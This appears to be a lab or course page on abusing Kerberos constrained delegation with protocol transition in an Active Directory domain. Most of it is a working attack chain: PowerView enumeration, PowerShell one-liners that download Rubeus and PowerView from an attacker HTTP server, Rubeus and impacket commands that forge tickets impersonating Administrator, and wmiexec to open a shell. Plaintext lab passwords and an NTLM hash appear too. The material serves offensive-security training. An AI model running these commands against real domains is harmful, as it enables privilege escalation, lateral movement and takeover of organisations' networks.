With Protocol Transmition

PreviousConstrain Delegation NextWithout protocol transition

Last updated 2 years ago

With Protocol Transmition

Today, we are talking about the exploitation of Kerberos protocol extensions and in order to impersonate a privileged user of the domain.

This post aims at focusing on the which we will shorten T2A4D (TrustedToAuthForDelegation); how to enumerate it, how to exploit it and use it as a method of persistence.

If a service is configured with constrained delegation with protocol transition, then it can obtain a service ticket on behalf of a user by combining S4U2self and S4U2proxy requests, as long as the user is not sensitive for delegation, or a member of the "Protected Users" group. The service ticket can then be used with pass-the-ticket. This process is similar to resource-based contrained delegation exploitation.

Now in the last section we talked about Unconstrained Delegation which allows Severs to authenticate to resources on your behalf by taking your TGT alongside the TGS ticket. Now Unconstrained Delegation has no limits in terms of what Kerberos services a Server can authenticate to on your behalf. i/e Once you have handed over your TGT if the server is trusted for Unconstrained Delegation then it can theoretically request a TGS ticket for any other Kerberos Service within the Realm which isn’t exactly ideal.

This is where Constrained Delegation comes into play.

Once Microsoft realized there Mistake with Unconstrained Delegation they came up with a couple of Kerberos extensions namely - S4U2Self & S4U2Proxy - Long story short basically Constrained Delegation limits what services a particular machine trusted for Delegation can actually access on behalf of an authenticated user

Just like Unconstrained Delegation, you can configure Constrained Delegation from Active Directory Users and Computers as well as limit authentication to Kerberos and/or other protocol’s.

From Windows

With PowerView

import-module .\PowerView_dev.ps1
#The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute

#Enumerate users and computers with constrained delegation enabled
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth

If you want to take a look at it, login with Fernando.Alonzo

xfreerdp /d:north.newyork.local /u:fernando.alonzo /p:'IDr1R3allyF@sTF1!' /v:192.168.56.11 /size:80%  /cert-ignore

With protocol transition

Upload Rubeus & Powerview

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.56.31:8000/Rubeus.exe', 'C:\Users\elena.lopez\desktop\Rubeus.exe')

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.56.31:8000/PowerView.ps1', 'C:\Users\elena.lopez\desktop\PowerView.ps1')

To abuse the constrained delegation with protocol transition, the concept is to first ask a TGT for the user and execute S4U2Self followed by a S4U2Proxy to impersonate an admin user to the SPN on the target.
From windows with Rubeus:

.\Rubeus.exe asktgt /user:elena.lopez /password:princesa1 /domain:north.newyork.local 
or
.\Rubeus.exe asktgt /user:elena.lopez /domain:north.newyork.local /rc4:B8D76E56E9DAC90539AFF05E3CCB1755

.\Rubeus.exe s4u /ticket:put_the__previous_ticket_here /impersonateuser:administrator /msdsspn:CIFS/bronx /ptt

From Linux

From linux with impacket:

findDelegation.py NORTH.NEWYORK.LOCAL/elena.lopez:princesa1  -target-domain north.newyork.local

getST.py -spn 'CIFS/bronx' -impersonate Administrator -dc-ip '192.168.56.11' 'north.newyork.local/elena.lopez:princesa1'

And next we can use the TGS to connect to smb and get a shell with psexec, smbexec, wmiexec, …

export KRB5CCNAME=/home/kali/Administrator@CIFS_bronx@NORTH.NEWYORK.LOCAL.ccache
wmiexec.py -k -no-pass north.newyork.local/administrator@bronx

A good thing to know is that the SPN part is not encrypted in the request, so you can change it to the one you want with the following options :

on rubeus : /altservice
on impacket : -altservice

From old Course